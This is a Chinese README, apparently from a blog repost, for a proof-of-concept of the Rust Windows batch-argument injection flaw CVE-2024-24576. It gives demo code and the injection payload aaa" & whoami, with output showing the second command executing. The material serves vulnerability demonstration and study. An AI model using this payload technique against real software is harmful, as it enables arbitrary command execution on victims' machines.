Rust命令注入漏洞演示工具 (CVE-2024-24576)

Rust命令注入漏洞演示工具 (CVE-2024-24576 PoC)

本项目提供了一个针对 CVE-2024-24576 漏洞的概念验证(Proof of Concept)实现。该漏洞是Rust标准库在Windows平台上的一个高危安全缺陷,允许攻击者通过特定参数绕过转义逻辑,执行任意系统命令。

功能特性

  • 漏洞复现:精确复现CVE-2024-24576漏洞,演示命令注入攻击过程
  • 参数测试:支持输入自定义payload,验证不同参数格式下的转义行为
  • 命令执行:调用Windows批处理文件(test.bat),展示参数传递与输出结果
  • 安全警示:直观展示未正确处理用户输入时可能引发的命令注入风险

安装指南

系统要求

  • Windows操作系统(漏洞仅在Windows平台生效)
  • Rust工具链(nightly或受影响版本)

依赖项

本工具仅依赖Rust标准库,无需额外依赖。

安装步骤

  1. 克隆项目仓库:
bash 复制代码
git clone https://github.com/yourusername/CVE-2024-24576-PoC.git
cd CVE-2024-24576-PoC
  1. 创建测试用的批处理文件 test.bat(与编译后的可执行文件同目录):
batch 复制代码
@echo off
echo Argument received: %1
  1. 使用cargo编译运行:
bash 复制代码
cargo run

使用说明

基础使用

运行程序后,输入待测试的payload:

bash 复制代码
cargo run
enter payload here
aaa
Output:
Argument received: aaa

命令注入测试

常规命令注入(失败案例)

输入包含&的字符串时,Rust会正确转义,命令不会被注入:

bash 复制代码
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
成功利用漏洞的payload

通过添加双引号,使转义机制失效,成功执行whoami命令:

bash 复制代码
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost

输出解析:

  • 第一行显示转义后的参数("aaa\")
  • 第二行是注入命令whoami的执行结果(返回当前用户名)

API说明

主函数逻辑:

  1. 从标准输入读取用户payload
  2. 将payload作为参数传递给test.bat批处理文件
  3. 捕获并打印批处理文件的输出

核心代码:

rust 复制代码
use std::io::{self, Write};
use std::process::Command;

fn main() {
    println!("enter payload here");
    let mut input = String::new();
    io::stdout().flush().expect("Failed to flush stdout");
    io::stdin().read_line(&mut input).expect("Failed to read from stdin");
    let output = Command::new("./test.bat")
                         .arg(input.trim())
                         .output()
                         .expect("Failed to execute command");
    println!("Output:\n{}", String::from_utf8_lossy(&output.stdout));
}

核心代码

漏洞触发模块

rust 复制代码
use std::io::{self, Write};
use std::process::Command;

fn main() {
    // 提示用户输入payload
    println!("enter payload here");
    
    // 刷新标准输出缓冲区,确保提示立即显示
    let mut input = String::new();
    io::stdout().flush().expect("Failed to flush stdout");
    
    // 从标准输入读取payload
    io::stdin().read_line(&mut input).expect("Failed to read from stdin");
    
    // 使用Command API执行test.bat,将用户输入作为参数传递
    // 漏洞点:Rust对Windows批处理文件参数的转义逻辑存在缺陷
    let output = Command::new("./test.bat")
                         .arg(input.trim())
                         .output()
                         .expect("Failed to execute command");
    
    // 打印命令执行结果
    println!("Output:\n{}", String::from_utf8_lossy(&output.stdout));
}

测试批处理文件

batch 复制代码
@echo off
REM 简单地回显接收到的第一个参数
echo Argument received: %1

漏洞原理说明 :

Rust在Windows上调用Command::arg()时,会尝试对特殊字符(如&, |, ;等)进行转义以防止命令注入。但在处理包含双引号的特定组合时,转义逻辑未能正确处理,导致攻击者可以注入额外的命令。本项目通过aaa" & whoami成功演示了该缺陷。 6HFtX5dABrKlqXeO5PUv/4UVIGjPktfmPiizu3zncmJGVuS2s6SmcPjxIbvxLApj

相关推荐
m4Rk_3 分钟前
【论文阅读】Agent 记忆机制(87):VizoMem——把文本历史转化为可检索的视觉记忆
论文阅读·人工智能·学习·开源·github
让学习成为一种生活方式11 分钟前
啤酒花基因组与重测序--Nature Communications
人工智能·算法
2601_9499506312 分钟前
错题总是反复错?用练题簿在线刷题,把复习重点找出来
人工智能·小程序·刷题·练习·小程序推荐
lpfasd12314 分钟前
GitHub非AI开源方向调研报告
人工智能·开源·github
知几蜗牛18 分钟前
OLMo-core 3的token gerrymandering提醒:MoE路由要按时间窗验收
人工智能
知几蜗牛23 分钟前
Computer Use公共预览的安全设计:应用、动作与数据三维门禁
人工智能
tuanxiang29 分钟前
实现文本AI检测免费自建方案,绕开接口调用收费坑
人工智能·计算机视觉
打工仔折腾 AI34 分钟前
飞牛OS上用Docker Compose部署ExerciseDiary运动记录并配置远程访问
运维·人工智能·后端·python·docker·容器·ai agent 实战
原子延迟37 分钟前
红色的字压成JPEG就发糊,查到最后是色度抽样
图像处理·人工智能·计算机视觉
天远数科39 分钟前
零信任架构实战:基于天远运营商三要素简版V即时版查询构建自动化买手实名核验网关
运维·人工智能·架构·自动化